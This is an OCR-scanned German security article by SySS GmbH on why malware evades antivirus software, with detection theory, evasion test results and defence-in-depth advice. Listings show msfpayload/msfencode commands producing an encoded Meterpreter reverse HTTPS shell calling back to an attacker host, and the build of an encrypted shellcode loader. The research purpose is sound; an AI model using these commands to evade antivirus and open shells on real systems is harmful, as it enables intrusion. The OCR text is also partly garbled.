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Ausgetrickst - Warum Schadprogramme trotz
aktueller Antivirensoftware zum Zuge kommen

Schadsoftware in den unterschiedlichsten Ausprdagungen zahlt seit vielen
Jahren zu den grofiten IT-Sicherheitsbedrohungen im geschiftlichen wie
auch im privaten Bereich. Um sich vor den Gefahren durch Schadsoftware
zu schiitzen, bieten zahlreiche Hersteller Sicherheitsprodukte wie
Antiviren- und Endpoint Protection-Software an. Doch diese allein bieten
keinen ausreichenden Schutz vor Schadprogrammen, die ein paar einfache
Tricks beherrschen, wie die Ergebnisse unserer aktuellen Forschungsarbeit

zum Thema Antivirus Evasion zeigen.

wieder zu Aufsehen erregenden Angriffen auf

IT-Netzwerke, die 6ffentlich bekannt wurden.
Vor allem die Angriffe auf die New York Times
[1] und die Washington Post [2] Anfang 2013 ha-
ben grofie mediale Aufmerksamkeit erregt und
auch bei den Herstellern von entsprechenden Si-
cherheitsprodukten wie Antiviren- und Endpoint
Protection Software fiir Diskussionen gesorgt. In
den beiden genannten Fillen war es Angreifern
moglich, Schadsoftware auf Computersystemen
von Mitarbeitern zu platzieren, um auf diese
Weise die betroffenen Unternehmen regelrecht
auszuspionieren - und das womdglich unbe-
merkt {iber mehrere Monate hinweg.
Diese Vorfille haben abermals darauf aufmerk-
sam gemacht, dass trotz des Einsatzes von Sicher-
heitsprodukten wie Antivirensoftware oder Host
Intrusion Detection/Prevention Software (HIDS/
HIPS) solche Angriffe nicht vollstindig verhin-
dert werden konnen. Diese Art von Bedrohung
verdeutlicht, dass fiir Unternehmen und auch
Behorden ein Gesamtkonzept mit einem funk-
tionierenden  Informationssicherheitsmanage-
ment und der Sensibilisierung der Mitarbeiter
tir Informationssicherheit notwendig sind.
In diesem Artikel soll der Frage nachgegangen

In der jlingeren Vergangenheit kam es immer
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werden, wie die Entwickler von Schadsoftware,
wie Trojanischen Pferden (kurz Trojanern),
Viren und Wiirmern, vorgehen, um deren bosar-
tige Absichten vor Antivirensoftware zu verber-
gen. Dabei werden aktuelle Ergebnisse unserer
Forschungsarbeit prasentiert und Empfehlungen
gegeben, wie mit der Bedrohung durch Schad-
software und den daraus resultierenden Sicher-
heitsrisiken umgegangen werden sollte.

Funktionsweise von Antivirensoftware
Aktuelle Antivirensoftware, egal ob als eigenstén-
dige Software oder als Teil eines Softwarepakets
(Host Intrusion Detection/Prevention Software,
Endpoint Protection Software, etc.), verwendet
verschiedene Methoden, um bekannte und un-
bekannte Bedrohungen in Form von Schadpro-
grammen zu erkennen.

Allgemein lassen sich diese unterschiedlichen
Methoden fiir den Schutz vor unerwiinschten
bosartigen Programmen den folgenden zwei
Strategien zuordnen:

1. Blacklisting (Fiihren einer ,,schwarzen Liste®)
2. Whitelisting (Fiihren einer ,weiflen Liste®)

Hinter diesen beiden Begriffen verbirgt sich
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im Kontext von Antivirensoftware die einfache
Tatsache, dass entweder die Programmausfiih-
rung einer ausfithrbaren Datei explizit verboten
»schwarze List®) oder explizit erlaubt (,weifse
Liste) wurde. Beim Blacklisting werden somit
Programme durch Antivirensoftware an der
Programmausfithrung gehindert, die auf einer
»schwarzen Liste“ zu finden sind. Beim White-
listing hingegen wird nur denjenigen Program-
men die Programmausfithrung gestattet, die auf
einer ,weiflen Liste“ gefithrt werden. Mit diesen
beiden Strategien wird das Ziel verfolgt, nur er-
wiinschtes, erwartetes und gutartiges Verhalten
von Programmen zuzulassen und unerwiinsch-
tes, unerwartetes und bosartiges Verhalten zu
unterbinden.

Die Verwaltung der Listen kann dabei in der Ver-
antwortung der Antivirensoftware liegen, was bei
der Blacklisting-Strategie der Normalfall ist, oder
sie kann in der Verantwortung eines Benutzers
oder Administrators liegen, was primdr bei der
Whitelisting-Strategie der Fall ist.

Der Grofdteil der eingesetzten Antivirensoft-
ware arbeitet ausschliefSlich nach der Blacklis-
ting-Strategie und versucht somit zu erkennen,
ob ein Programm bésartig ist und deshalb nicht
ausgefithrt werden soll.

Fiir die Erkennung von Schadsoftware existieren
dabei allgemein die folgenden zwei Methoden,
die in den nachfolgenden Abschnitten genauer
beschrieben werden:

1. signaturbasiert
2. verhaltensbasiert

Signaturbasierte Erkennung von
Schadsoftware

Die signaturbasierte Erkennung von Schadsoft-
ware sucht nach bekannten Mustern in Form von
Byte-Sequenzen (Signaturen) innerhalb von Da-
teien, anhand derer Schadprogramme identifi-
ziert werden konnen. Ein Nachteil dieser Metho-
de ist, dass nur nach zuvor definierten Mustern
gesucht wird, die die Hersteller von Antiviren-
software auf Grundlage von Analysen von Schad-
programmen in ihre Signaturdatenbanken auf-
genommen haben. Mit dieser Methode kénnen
somit nur Schadprogramme erkannt werden, fiir
die entsprechende Signaturen existieren.
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Die Art und Weise, wie die Hersteller von Viren-
schutzprogrammen Signaturen fiir Schadsoft-
ware erzeugen und nach Mustern suchen, hat
natiirlich Einfluss auf die Fehlerrate hinsichtlich
der signaturbasierten Erkennung (Fehler 1. Art
[Falsch-Positiv], Fehler 2. Art [Falsch-Negativ]).
Entwickler und Nutzer von Schadsoftware ma-
chen sich diesen Umstand zunutze, indem sie
dafiir sorgen, dass ihr Schadprogramm keine
bekannten Signaturen enthilt, die fiir eine Klas-
sifizierung als Schadsoftware hinreichend ist,
und somit nicht durch eine rein signaturbasierte
Erkennung gefunden werden kann. Unter Um-
stinden reicht es dafiir schon aus, das Schad-
programm mit anderen Compiler-Einstellungen
beziehungsweise einem anderen Compiler neu
zu uibersetzen (Quelltext ist vorhanden) oder die
ausfiihrbare Datei (Quelltext ist nicht vorhanden)
unter Verwendung sogenannter EXE-Packer
oder EXE-Crypter zu komprimieren und/oder
zu verschliisseln. Auf diese Weise kann die Funk-
tionalitdt eines bekannten Schadprogramms er-
halten bleiben, dessen Gestalt dndert sich jedoch.
Die Vielgestaltigkeit (Polymorphie) bereitet
der signaturbasierten Erkennung somit grofle
Schwierigkeiten und wird seit langem von Schad-
software ausgenutzt.

Verhaltensbasierte Erkennung von
Schadsoftware

Die verhaltensbasierte Erkennung von Schadsoft-
ware versucht das Verhalten eines Programms zu
ermitteln und dieses gemafd definierter Kriterien

Exploiting

Antivirensoftware hilft nicht gegen Angriffe
auf verwundbare Dienste, wie beispiels-
weise einen veralteten Webserver. Denn bei
solchen Angriffen wird der schadhafte Pro-
grammcode, der sogenannte Shellcode, zum
Beispiel unter Ausnutzung einer Buffer Over-
flow-Schwachstelle direkt in den Hauptspe-
icher des betroffenen Systems geladen und
dort zur Ausfithrung gebracht. Es existiert
somit keine Datei mit der enthaltenen Schad-
software im Dateisystem, die von den iibli-
chen Erkennungsmethoden des Virenschutz-
programms gefunden werden kénnte.
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als gut- oder bosartig zu klassifizieren. Hierbei
werden {iblicherweise regelbasierte Techniken
in Kombination mit einem Scoring-Verfahren
und festgelegten Schwellenwerten fiir berechnete
Scores verwendet. Diese - auch als heuristisches
Verfahren bezeichnete - Erkennungsmethode
ist in der Lage, auch unbekannte Schadsoftware
anhand ihres Verhaltens zu erkennen. Das ver-
wendete Scoring-Verfahren und die verwendeten
Schwellenwerte haben bei diesem generischen
Verfahren maf3geblichen Einfluss auf die Fehler-
rate der verhaltensbasierten Erkennungsmetho-
de (Fehler 1. Art [Falsch-Positiv], Fehler 2. Art
[Falsch-Negativ]). Die Analyse des Programm-
verhaltens kann rein statisch erfolgen, wobei der
Programmcode der ausfithrbaren Datei einer
statischen Codeanalyse unterzogen wird und
entsprechendes Verhalten durch das Vorhanden-
sein bestimmter Merkmale festgestellt wird. Die-
se Vorgehensweise hat jedoch den Nachteil, dass
nur der Programmcode analysiert werden kann,
der innerhalb der ausfiihrbaren Datei unmittel-
bar fiir die Antivirensoftware zugreifbar ist. Pro-
grammcode, der erst zur Laufzeit des Programms
als solcher erkennbar beziehungsweise verfiigbar
ist, beispielsweise aufgrund von Kompression,
Verschliisselung oder selbst-modifizierendem
Code, bleibt bei einer statischen Codeanalyse un-
beriicksichtigt.

Aus diesem Grund setzen die meisten Viren-
schutzprogramme neben einer statischen Code-
analyse auch eine sogenannte Sandbox ein.
Darunter versteht man im Kontext von Antivi-
rensoftware eine sichere, kontrollierte Ausfiih-
rungsumgebung, in der das Verhalten der zu
untersuchenden ausfithrbaren Datei zur Laufzeit
untersucht und anhand definierter Kriterien als
gut- oder bosartig eingestuft werden kann. Auf
diese Weise kann die Effektivitit moglicher Ver-
schleierungsmethoden von schadhaftem Pro-
grammverhalten, beispielsweise durch Kompres-
sion oder Verschliisselung, verringert werden.
Ein Ziel solcher Sandbox-Umgebungen von Vi-
renschutzprogrammen ist es zudem, von den zu
untersuchenden Programmen nicht als solche er-
kannt zu werden, um zu verhindern, dass sich ein
Schadprogramm hinsichtlich seines Verhaltens
nach der jeweiligen Umgebung richtet und sei-
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nen Schadcode nur dann ausfiihrt, wenn es nicht
Untersuchungsgegenstand innerhalb einer Sand-
box-Umgebung ist. Die Emulation einer Ausfiih-
rungsumgebung ist jedoch bei Antivirensoftware
nicht perfekt und allgemein ein sehr schwieriges
Problem. Aus diesem Grund existieren verschie-
dene Moglichkeiten, Sandbox-Umgebungen zu
erkennen und damit auch entsprechende Verhal-
tensanalysen innerhalb von Sandbox-Umgebun-
gen zu manipulieren, indem das Programmver-
halten entsprechend angepasst wird.

Die Klassifizierung von Programmen durch An-
tivirensoftware in gut- und bosartig unterliegt
des Weiteren zeitlichen Beschrinkungen. Denn
fiir einen Anwender ist es nicht akzeptabel, wenn
die Uberpriifung eines Programms lingere Zeit
in Anspruch nimmt und er bei der Ausfithrung

Besonderheiten von Antivirensoftware:
Updates und Scan Engines

Wihrend diverser Testsim Rahmen dieser For-
schungsarbeit wie auch bei der Durchfithrung
von Penetrationstests konnte die SySS GmbH
mehrfach feststellen, dass sich Scan Engines
von Antivirensoftware in unterschiedlichen
Umgebungen auch unterschiedlich verhalten
konnen. Wird beispielsweise eine infizierte
Datei von der lokal installierten Antiviren-
software nicht als schadlich erkannt, kann
es trotzdem sein, dass bei Virustotal dieselbe
Datei von der vermeintlich gleichen Scan
Engine als Schadsoftware erkannt wird. Die
Ursache hierfiir sind unterschiedliche Para-
metrisierungen und Signaturdatenbanken,
denen man sich bewusst sein sollte [3].
Dariiber hinaus ist zu beachten, dass es neben
Falsch-Positiv-Meldungen auch immer wied-
er Fille gibt, bei denen bekannte Schadpro-
gramme nicht erkannt werden (Falsch-Nega-
tiv), obwohl sie bereits mehrere Monate oder
gar Jahre alt sind.

Generell sind kurze Update-Intervalle fiir die
Aktualisierung von Signaturdatenbanken zu
empfehlen, da gerade bei der Verbreitung von
Schadsoftware mittels E-Mail bereits wenige
Stunden den entscheidenden Unterschied
machen kdnnen.
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Listing 1: Erzeugen und kodieren eines Meterpreter-Shellcode mittels msfpayload und

msfencode

S msfpayload windows/meterpreter/reverse https LHOST=192.168.23.1 LPORT=443 R |
msfencode -e x86/shikata ga nai -t raw > meterpreter reverse https.bin

[*] x86/shikata ga nai succeeded with size 377

seiner Tatigkeit gehindert wird. Die Hersteller
von Antivirensoftware miissen daher bei allen
eingesetzten Erkennungsmethoden, seien sie si-
gnatur- oder verhaltensbasiert, auf diese Anfor-
derung achten und entsprechende Kompromisse
eingehen.

Die verhaltensbasierte Erkennung von Schadsoft-
ware, wie sie in aktuellen Antivirenprogrammen
unter Verwendung verschiedener Methoden ein-
gesetzt wird, besitzt mehrere Schwichen, die von
Schadsoftware ausgenutzt werden kdnnen.

Forschungsarbeit: Antivirus Evasion

Im Rahmen der Forschungsarbeit zum Thema
Antivirus Evasion haben die Autoren verschiede-
ne Antivirus-Evasion-Techniken mit mehreren
bekannten und weit verbreiteten Virenschutzpro-
grammen getestet, die nach der Blacklisting-Stra-
tegie arbeiten.

Die eingesetzten Techniken sind dabei nicht neu,
werden seit mehreren Jahren von Schadprogram-
men verwendet und nutzen die angesprochenen
Schwichen signatur- und verhaltensbasierter Er-
kennungsmethoden von Antivirensoftware aus.

Methode

Die SySS GmbH entwickelte zwei Software-Tools
namens Avet und ShCoLo, unter deren Ver-
wendung ausfithrbare Dateien mit enthaltenem
Schadcode fiir Windows-Betriebssysteme er-
zeugt werden konnten. Die beiden verwendeten
Software-Tools unterstiitzten dabei verschiedene
Antivirus-Evasion-Techniken, die Schwichen
der signatur- und verhaltensbasierten Erken-
nungsmethoden ausnutzten und mit deren Hilfe
der entsprechende Schadcode trotz aktiver Anti-
virensoftware auf einem Zielsystem erfolgreich
zur Ausfithrung gebracht werden sollte.

Als Schadcode wurde ein bekannter Meterpre-
ter-Shellcode (windows/meterpreter/reverse_ht-
tps) des freien Open-Source Metasploit Frame-
works [4] verwendet, der mit Hilfe der beiden
Metasploit-Tools msfpayload und msfencode er-
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(iteration=1)

zeugt und kodiert wurde (Listing 1).

Der Fernzugriff auf Computersysteme unter Ver-
wendung einer Meterpreter-Shell ist sowohl bei
Penetrationstestern als auch bei Angreifern, die
ohne offizielle Erlaubnis agieren, sehr beliebt, da-
her ein wiinschenswertes Ziel und ein interessan-
ter Testvektor. Die Meterpreter-Shell unterstiitzt
beispielsweise Funktionen wie das Auslesen
verschiedener sensibler Passwortinformationen,
das Aufzeichnen von Tastaturanschligen (Key-
logger-Funktionalitdt), das Erstellen von Bild-
schirmfotos (Screenshots) und einen Zugriff auf
eine Kommandozeile des betroffenen Systems
(Shell-Zugriff). Bei dem ausgewdhlten Meterpre-
ter-Shellcode windows/meterpreter/reverse_https
erfolgt die Kommunikation zwischen dem Ziel-
system und dem System des Angreifers iiber ei-
nen verschliisselten Kommunikationskanal (HT-
TPS-Verbindung).

Diese Verbindung wird dabei vom Zielsystem aus
zu dem System des Angreifers aufgebaut. Bei dem
verwendeten Meterpreter-Shellcode handelt es
sich um eine sogenannte Reverse Shell oder auch
Connect Back Shell, die mit hoher Wahrschein-
lichkeit auch bei der Verwendung von Firewall-
oder Webproxy-Systemen funktioniert, sofern
ein Netzwerkzugriff zum System des Angreifers
prinzipiell moglich ist.

Als Kommunikationsendpunkt auf dem System
des Angreifers wurde im Rahmen unserer For-
schungsarbeit der TCP-Port 443 gewihlt, der
tiblicherweise fiir HTTPS-Verbindungen genutzt
wird.

Bei den beiden Software-Tools Avet und ShCoLo
handelt es sich um sogenannte Shellcode Loader
mit erweiterter Funktionalitit hinsichtlich Anti-
virus-Evasion-Techniken. Fiir die durchgefiihr-
ten Tests wurden sdmtliche ausfithrbaren Da-
teien mit Hilfe des entwickelten Software-Tools
ShColLo erstellt (Listing 2). Die verwendete Ver-
sion des Software-Tools ShColo unterstiitzte die
folgenden Antivirus-Evasion-Techniken, die in
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unterschiedlichen Kombinationen
wurden:

eingesetzt

« Polymorphie

o Verschliisselung

o Erkennung von Sandbox-Umgebungen
(Sandbox Detection)

o Ausfiihrung des Schadcodes im Kontext
eines anderen Prozesses (Process Injection)

Auf die technischen Details der einzelnen Antivi-
rus-Evasion-Techniken und deren Implementie-
rung soll an dieser Stelle auch in Hinblick auf §
202c StGB nicht weiter eingegangen werden.

Die erzeugten ausfithrbaren Dateien mit ent-

Metasploit Shellcode Loader

Unter Verwendung der beiden Software-Tools
msfpayload und msfencode des Metasploit
Frameworks konnen ausfithrbare Dateien
mit ausgewdhlten Payloads (Shellcode) fiir
unterschiedliche Zielplattformen erzeugt und
kodiert werden. Auf diese Weise erstellte aus-
tithrbare Dateien werden jedoch vom Grofiteil
der Antivirensoftware als Schadcode erkannt,
auch wenn sie selbst gar kein schidliches
Verhalten aufweisen. Dieser Umstand lasst
sich sehr einfach demonstrieren, indem man
mittels msfpayload eine ausfithrbare Datei
fiir Windows ohne Payload erzeugt (Listing
3) und diese anschliefend mit Hilfe des On-
line-Dienstes VirusTotal [4] iberpriifen lasst
(Abbildung 1). Durch die Verwendung eines
eigenen Shellcode Loaders kann somit haufig
schon erreicht werden, dass weniger Viren-
schutzprogramme die ,,schidliche® Datei als
solche erkennen.

Eine zusitzliche Kodierung unter Ver-
wendung des Software-Tools msfencode sorgt
nicht unbedingt fiir eine niedrigere Erken-
nungsrate, da die bekannten Encoder ent-
weder ebenfalls anhand von Signaturen oder
mit heuristischen Methoden erkannt werden
konnen. Diesem Umstand kann wiederum
mit der Entwicklung eines eigenen Encoders
entgegengewirkt werden, womit die Erken-
nungsrate noch weiter gesenkt werden kann.
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haltenem Schadcode wurden auf das jeweilige
Zielsystem mit installierter Antivirensoftware
kopiert und ausgefiithrt. Das Resultat eines ein-
zelnen Testfalls wurde gemessen und anhand der
folgenden drei moglichen Ausgidnge dokumen-
tiert:

o Shellcode wurde nicht erkannt und erfolg-
reich ausgefiihrt (griin)

o Shellcode wurde erkannt und nicht ausge-
fihrt (rot)

 Shellcode wurde nicht erkannt, aber nicht
erfolgreich ausgefiihrt (blau)

Ergebnisse

Die Ergebnisse unserer Antivirus-Evasion-Tests
mit zwolf getesteten Antivirensoftwareprodukten
werden in Tabelle 1 aufgefiihrt.

Antivirus Evasion im Bereich IT-Forensik/
Incident Response

Auch fiir die nachtrigliche forensische Analy-
se infizierter Systeme ergeben sich durch die
beschriebenen Strategien zur Erkennung von
Schadsoftware Veranderungen. Die Suche nach
Schadsoftware auf Computern gestaltet sich
bisweilen umstdndlich. Haufig lasst sich Schad-
software durch einfache Persistierungsvekto-
ren erkennen, denn irgendwie mochte diese ja
nach einem Neustart eines Systems ebenfalls
wieder gestartet werden. Eine unkomplizierte
Méglichkeit hierzu bieten beispielsweise diverse
Autorun-Mechanismen des Windows-Betriebs-
systems. Durch eine Analyse der automatisch
gestarteten Software lassen sich so relativ viele
Schadsoftwarevarianten ohne gréferen Aufwand
auffinden.

Schwieriger wird es aber auch hier bei Schad-
software, die sich besser versteckt. So gibt es bei-
spielsweise Malware, die existierende EXE- oder
DLL-Dateien modifiziert und sich so automa-
tisch beim Start der verdnderten Software startet.
Wird beispielsweise eine Treiberdatei oder eine
Betriebssystemkomponente modifiziert, kann
dies bereits fiir einen automatischen Start ausrei-
chen. Auch die Modifikation haufig verwendeter
Software — wie des Web-Browsers oder einer Of-
fice- oder E-Mail-Anwendung - kann erfolgver-
sprechend sein. Solche Modifikationen sind durch

/
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eine forensische Analyse ungleich schwieriger zu
identifizieren. Ist der ungefihre Zeitpunkt einer
Infektion mit Schadsoftware bekannt, konnten
beispielsweise Dateisystem-Verdnderungen in
diesem Zeitraum untersucht werden. Aber auch
hier zeigen sich Malwareautoren kreativ und nut-
zen Techniken, um Zeitstempel zu verfilschen,
beispielsweise von Dateisystemen.

Als gingige Methoden fiir eine schnelle Su-
che nach Schadsoftware haben sich deswegen
auch hier Techniken etabliert, die dem Whi-
te- und Blacklisting zumindest konzeptionell
dhneln. Mit Hilfe von Datenbanken bekannter
Schadprogramme oder Softwarewerkzeugen
zur automatischen Untersuchung mit mehreren
Antivirenscannern koénnen bekannte Schad-
softwareinfektionen erkannt werden. Heuris-
tische Methoden auf Basis von Signaturen su-
chen nach bekannten EXE-Packern, bekannten
Zeichenketten, bestimmten Auffilligkeiten im
Programmcode, wie beispielsweise NOP Slides
(Folge von NOP-Befehlen [No Operation]) oder
nach zufillig erscheinenden und damit poten-
tiell verschliisselten Code-Abschnitten. Diese
Techniken finden in abgewandelter Form auch
in Antivirensoftware ihren Einsatz, konnen aber
bei forensischen Untersuchungen natiirlich eine
viel groflere Zahl an Falsch-Positiv-Ergebnissen
erzeugen, da diese im Nachgang (hoffentlich)
manuell kontrolliert werden kénnen. Dennoch

gilt: Auch solche Techniken haben wenig Aus-
sicht auf Erfolg, wenn die Malwareautoren sich
bereits mit ihnen auseinandergesetzt haben. Zur
Erkennung von Schadsoftware kommt daher
eine weitere Suchmethode zum Einsatz, die auf
Datenbanken bekannter Dateien basiert. Auf ei-
nem Windows-System werden sich beispielswei-
se sehr viele Dateien befinden, die sich nicht von
anderen Windows-Installationen unterscheiden.
In Abhéngigkeit von Version, Patch-Stand und
installierter Software finden sich mehr oder we-
niger Dateien in der einen oder anderen Auspra-
gung. Uber alle diese erwarteten Derivate lassen
sich nun Datenbanken aufbauen und dann im
Dateisystem alle Dateien identifizieren, die da-
von abweichen. Infektionen in ungewéhnlicher
Software, Makroviren in Office-Dokumenten,
Anhidnge an E-Mails oder dhnliches sind dariiber
nicht identifizierbar. Aber wie zuvor erwahnt, hat
Schadsoftware héufig das Ziel, sich irgendwie zu
persistieren und die meiste Schadsoftware ver-
sucht dies iiber die Modifikation géngiger Soft-
ware oder tiber Autorun-Mechanismen. Und ge-
nau diese Methoden lassen sich auf diesem Weg
mit ein bisschen Gliick erkennen.

Spezifisch auf individuelle Systeme angepass-
ter Schadcode - sogenannte targeted malware -
wird sich auch dieser Erkennung entziehen. Eine
Methode, sie dennoch identifizieren zu konnen,

Listing 2: Erzeugung einer ausfiithrbaren Datei fiir Windows mit ShCoLo

$ python shcolomaker.py -f win32 -e meterpreter reverse https.bin

A W, /
/ T /T
A A T T
AN 777
/ 1/ / A Y A A A

~I
~I|

— _/_/_

Shellcode Loader Maker vO0.7 by Matthias Deeg <matthias.deeg@syss.de> - SySS GmbH (c) 2013, 2014

[*] Process shellcode (377 bytes)
[*] Encrypt shellcode

[*] Generate source code

[*] Generate Makefile

[

*] Build executable ...

make: Entering directory ,/home/matt/playground/antivirus-evasion/shcolo/build?

nasm -fwin32 shcolo.asm

wine ./tools/link.exe /SUBSYSTEM:WINDOWS /MACHINE:X86 /ENTRY:start /OUT:shcolo.exe shcolo.ob]

kernel32.1ib
fixme :heap:HeapSetInformation
Microsoft (R)
Copyright (C)

(nil) 1 (nil) O
Microsoft Corporation.

fixme:msvcrt: clean type info names internal
make:

(0x10044484)
Leaving directory ,/home/matt/playground/antivirus-evasion/shcolo/build?

./1lib/

Incremental Linker Version 9.00.30729.207
All rights reserved.

stub

[*] Successfully built the shellcode loader ,./build/shcolo.exe’
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Listing 3: Erzeugung einer mittels msfencode kodierten ausfiihrbaren Datei ohne giiltige

payload (shellcode)

S echo test
[*] generic/none succeeded with size 5

ist die Detailuntersuchung des Dateisystems, der
Log-Dateien und der Veranderungen im Datei-
system. Gliicklicherweise sind solche Fille noch
nicht der Regelfall, denn sie sind sehr zeit- und
arbeitsintensiv.

Als letzte hiufig eingesetzte Methode zum Auf-
finden von Schadsoftware im Rahmen foren-
sischer Untersuchengen finden sich verhal-
tensbasierte Analysen. Dabei konnen laufende
Prozesse identifiziert, Log-Dateien nach Auffil-
ligkeiten untersucht oder das Netzwerk beobach-
tet werden. Eine gute IDS wird dabei nicht nur
nach bekannten Command & Control Servern

| msfencode -e genric/none -t exe > test.exe

(iteration=1)

lyse von Dateisystemen: Was ist legitim, was ist
es nicht? Wie unterscheiden wir im Nachhinein,
welche Software modifiziert wurde? Und wie ma-
chen wir dies effizient und in einem zeitlich ak-
zeptablen Rahmen?

Administratoren und IT-Sicherheitsverantwort-
liche konnen IT-Forensiker und Incident Re-
sponder deutlich unterstiitzen. Ein rechtzeitig
eingesetztes Netzwerk-Monitoring kann bei-
spielsweise fiir ein Baselining genutzt werden,
das heifSft der Regelfall, Netzwerkdatenverkehr,
Anzahl und Art der Verbindungen, etc. kdnnen

Abbildung 1: Scanergebnisse von VirusTotal fiir eine ausfiithrbare Datei fiir Windows, die mittels

msfpayload erzeugt wurde

i)

SHAZ256!

total

File name: test.exe

Detection ratio: 34/ 54

Analysis date: 2014-07-0219:56:16 UTC (1 minute ago )

(C2-Server) suchen, sondern auch andere Auftal-
ligkeiten melden. Greift ein Server beispielsweise
plotzlich auf fremde Rechner zu, kann und sollte
dies Misstrauen wecken. Periodische Abrufe be-
stimmter Webseiten, Netzwerkdatenverkehr auf
unbekannten Ports, eingehende Verbindungen,
verschliisselte Verbindungen oder andere Abwei-
chungen von der Regel kénnen aufzeigen, dass es
eine Infektion mit Schadsoftware gibt.

Das zuvor Beschriebene sagt es bereits: Abwei-
chungen von der Regel sind auffillig. Was aber,
wenn es keine Regel gibt? Ein Netzwerk-Monito-
ring, das erst nach einer erfolgten Infektion mit
Schadsoftware installiert wird, kann diese unter
Umstédnden als Regelfall erkennen und nicht als
Auffilligkeit. Genau das gleiche Problem exis-
tiert, wie bereits beschrieben, auch bei der Ana-
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identifiziert werden. Auch gepflegte Listen ins-
tallierter Software, regelméfliiger Abgleich von
Ist- und Soll-Zustand, eventuell sogar Daten-
banken mit Hashwerten oder anderen Identifi-
kationsmerkmalen, zentrales Logging und Netz-
werk-Monitoring sind ein erster Schritt. Um es
deutlich zu sagen: Logging und die Identifikation
des Regelfalls konnen spater helfen, zeitaufwén-
dige Analysen zu vermeiden oder iiberhaupt erst
einen Anfangsverdacht aufkommen zu lassen.

Fazit

Im Rahmen der Forschungsarbeit zum Thema
Antivirus Evasion konnte die SySS GmbH zei-
gen, dass sich die Erkennungsmethoden aktu-
eller Antivirensoftware umgehen lassen und auf
diese Weise Schadsoftware ausgefithrt werden
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Tabelle 1: Ergebnisse der Anti-Virus-Evasion-Tests

Produktname Version

Datum der Viren-
definitionsdatei

Betriebssystem des Zielsys-
tems

kann. Die eingesetzten Antivirus-Evasion-Tech-
niken sind dabei nicht neu, werden seit mehreren
Jahren von Schadprogrammen verwendet und
nutzen die angesprochenen Schwichen signa-
tur- und verhaltensbasierter Erkennungsmetho-
den von Antivirensoftware aus. Der Grofteil der
eingesetzten Antivirus-Evasion-Techniken ist
zudem recht einfach und kann somit auch von
technisch weniger versierten Angreifern und de-
ren Schadprogrammen genutzt werden. Zudem
existieren seit einigen Jahren zahlreiche im In-
ternet frei verfligbare Antivirus-Evasion-Tools
beziehungsweise Frameworks, iiber die sich
auch komplexere Antivirus-Evasion-Techniken
nutzen lassen, ohne dass der Anwender solcher
Werkzeuge iiber Spezialwissen verfiigen muss.
Ein bekanntes Beispiel fiir ein solches Antivi-
rus-Evasion-Framework ist Veil [5].

In IT-Netzwerken stellt Antivirensoftware, ins-
besondere auf Client-Systemen von Endan-
wendern, die letzte Verteidigungslinie gegen
Schadsoftware dar. Aufgrund der aufgezeigten
Schwichen sollten Virenschutzprogramme nicht
die einzige Gegenmafinahme vor der Bedrohung
durch Schadsoftware sein, sondern es sollte eine
Defense-in-Depth-Strategie im Rahmen des un-
ternehmensweiten Sicherheitskonzepts verfolgt
werden. Hierbei wird identifizierten Bedrohun-
gen nicht nur mit einer einzigen MafSnahme be-
gegnet, sondern mit mehreren Mafinahmen, die
idealerweise unterschiedlicher Kategorien ange-
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héren (praventiv, erkennend, korrigierend).

Um die Sicherheit von IT-Netzwerken und ins-
besondere den Schutz vor Schadsoftware zu er-
héhen beziehungsweise um das entsprechende
Schadenspotenzial zu verringern, haben sich
nach Ansicht der SySS GmbH vor allem die fol-
genden Mafinahmen im Rahmen einer Defen-
se-in-Depth-Strategie als effektiv erwiesen:

o Schulung der Mitarbeiter im Bereich In-
formationssicherheit (Security Awareness,
Computerhygiene)

« Umsetzung eines funktionierenden
Patch-Managements

+ Einsatz aktueller Antivirensoftware mit re-
gelmafligen Aktualisierungen

« Umsetzung des Principle of Least Privilege
(ausschliefiliche Vergabe fiir die tatsdchlich
tiir die Erfiillung von Aufgaben erforderli-
chen Benutzerberechtigungen)

o Uberpriifung auf Schadsoftware an unter-
schiedlichen Positionen im Netzwerk (Mail-
server, Fileserver, Proxyserver, Client-Syste-
me, etc.)

« Durchfiihrung regelmafiiger Sicherheitsprii-
fungen

« Incident Readiness (IT-Notfallmanagement
und -vorbereitung)

« Baselining von IT-Infrastruktur

Nach Einschitzung der SySS GmbH wird sich die

Bedrohungslage fiir IT-Netzwerke durch Schad-
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programme in naher Zukunft nicht entspan-
nen, sondern tendenziell eher verschirfen. Ein
Grund dafiir ist die stetige Professionalisierung
und die wachsenden Ressourcen von Entwick-
lern von Schadsoftware, die bereits seit mehreren
Jahren zu beobachten ist. Neben zielgerichteten
Angriffen (targeted attacks) mit speziell dafiir
entwickelter Schadsoftware, die von technisch
sehr versierten Angreifern durchgefiihrt werden,
stellen auch Massenangriffe mit Schadprogram-
men aus verbreiteten Baukastensystemen eine
zunehmende Bedrohung fiir Unternehmen und
Behorden dar. Ein Wechsel weg von der Black-
listing-Strategie hin zur Whitelisting-Strategie ist
seit langerem zu beobachten und nach Meinung
der SySS GmbH auch ein Schritt in die richtige
Richtung. Dabei sieht die SySS GmbH jedoch
noch Klarungsbedarf, vor allem bei dem immer
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zu beachtenden Gleichgewicht zwischen Benutz-
barkeit/Benutzerfreundlichkeit und Sicherheit
und dem Kosten-Nutzen-Verhiltnis, beispiels-
weise in Hinblick auf einen moglicherweise er-
hohten administrativen Aufwand.
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